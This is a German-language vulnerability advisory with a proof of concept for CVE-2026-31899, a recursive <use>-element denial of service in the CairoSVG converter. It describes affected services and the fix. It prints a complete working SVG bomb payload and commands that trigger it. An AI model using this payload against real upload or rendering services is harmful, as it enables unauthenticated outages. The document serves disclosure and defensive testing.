
CVE-2026-31899: Exponentielle DoS durch rekursive <use>-Elementverstärkung in CairoSVG (CVSS 7.5 Hoch)
Schlüsselwörter: CVE-2026-31899, CairoSVG, exponentieller DoS, SVG-Bombe, rekursives use-Element, Denial-of-Service, XML-Verstärkung, Python SVG-Schwachstelle, CWE-400, unkontrollierter Ressourcenverbrauch, Billion Laughs SVG
CairoSVG Exponential Denial of Service (CVE-2026-31899) — Ein 1.411 Byte großes SVG-Payload belegt die CPU dauerhaft zu 100 % durch rekursive -Element-Verstärkung.
CairoSVG (~300K Downloads/Woche) ist ein weit verbreiteter SVG-zu-PNG/PDF-Konverter in Python. Die use()-Funktion in cairosvg/defs.py verarbeitet -Elemente rekursiv, ohne Begrenzung der Tiefe oder Anzahl. Mit 5 Verschachtelungsebenen und jeweils 10 Referenzen löst ein kleines SVG 10^5 = 100.000 Rendering-Aufrufe aus – eine SVG-Variante des „Billion Laughs“-Angriffs.
Entdeckt von: Kai Aizen — SnailSploit Veröffentlicht: 13. März 2026 CVSS-Score: 7.5 (Hoch) CWE: CWE-400 — Unkontrollierter Ressourcenverbrauch Paket: CairoSVG (PyPI) Angriffstyp: Exponential Denial of Service Erforderliche Berechtigungen: Keine (Nicht authentifiziert)
Die use()-Funktion in cairosvg/defs.py (Zeile ~335) löst -Elemente rekursiv auf, die auf andere -Elemente verweisen. Es gibt weder eine Rekursionstiefenbeschränkung noch ein Gesamt-Element-Budget. Ein Angreifer kann ein kleines SVG erstellen, bei dem jede Schicht die vorherige Schicht N-mal referenziert, was O(N^depth) Rendering-Aufrufe aus O(depth) Eingabe erzeugt.
Die Schwachstelle besteht, weil:
Mit 5 Ebenen und einem Verzweigungsfaktor von 10:
Ebene 0: 1 Element (root <use>)
Ebene 1: 10 Elemente
Ebene 2: 100 Elemente
Ebene 3: 1.000 Elemente
Ebene 4: 10.000 Elemente
Ebene 5: 100.000 Rendering-Aufrufe
Gesamt: 111.111 Rendering-Aufrufe aus einem 1.411 Byte großen Input.
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="a"><rect width="1" height="1"/></g>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
</defs>
<use xlink:href="#e"/>
</svg>
Methode 1 – Kommandozeile:
timeout 10 cairosvg poc.svg -o test.png
# Erwartet: timeout beendet den Prozess nach 10 Sekunden (er wird nie fertig)
Methode 2 – Python:
import cairosvg
import signal
signal.alarm(5) # Beenden nach 5 Sekunden
try:
cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
print("[!!!] BESTÄTIGT: CPU-Erschöpfung – Prozess wurde in 5s nicht fertig")
Jeder Dienst, der SVG-Eingaben akzeptiert und CairoSVG zur Verarbeitung verwendet, ist verwundbar:
| Angriffsfläche | Beispiel |
|---|---|
| Miniaturansicht-Erstellung | SVG hochladen → Server konvertiert in PNG |
| PDF-Erstellung | SVG in Dokument eingebettet → CairoSVG rendert |
| Avatar-/Bildverarbeitung | Vom Benutzer hochgeladene SVG-Profilbilder |
| Berichtserstellung | SVG-Diagramme in automatisierten Berichten |
| CI/CD-Pipelines | SVG-Assets während des Builds verarbeitet |
Eine einzelne Anfrage mit einem 1,4 KB Payload belegt den Verarbeitungsthread dauerhaft, während nur minimaler Speicher verbraucht wird (kein OOM-Kill, der Sie rettet).
Aktualisieren Sie CairoSVG auf Version 2.9.0 oder höher:
pip install --upgrade CairoSVG>=2.9.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| Metrik | Wert |
|---|---|
| Angriffsvektor | Network (AV:N) |
| Angriffskomplexität | Low (AC:L) |
| Erforderliche Privilegien | None (PR:N) |
| Benutzerinteraktion | None (UI:N) |
| Auswirkungsbereich | Unchanged (S:U) |
| Vertraulichkeit | None (C:N) |
| Integrität | None (I:N) |
| Verfügbarkeit | High (A:H) |
| Datum | Ereignis |
|---|---|
| 2026-03-09 | CVE reserviert |
| 2026-03-13 | Advisory veröffentlicht (GHSA-f38f-5xpm-9r7c) |
| 2026-03-13 | CairoSVG 2.9.0 mit Fix veröffentlicht |
Kai Aizen (SnailSploit)
⚠️ Haftungsausschluss: Dieses Repository dient ausschließlich Bildungs- und autorisierten Sicherheitsforschungszwecken. Der Proof of Concept wird bereitgestellt, um Verteidigern zu helfen, ihre Gefährdung zu validieren. Verantwortungsvoll nutzen.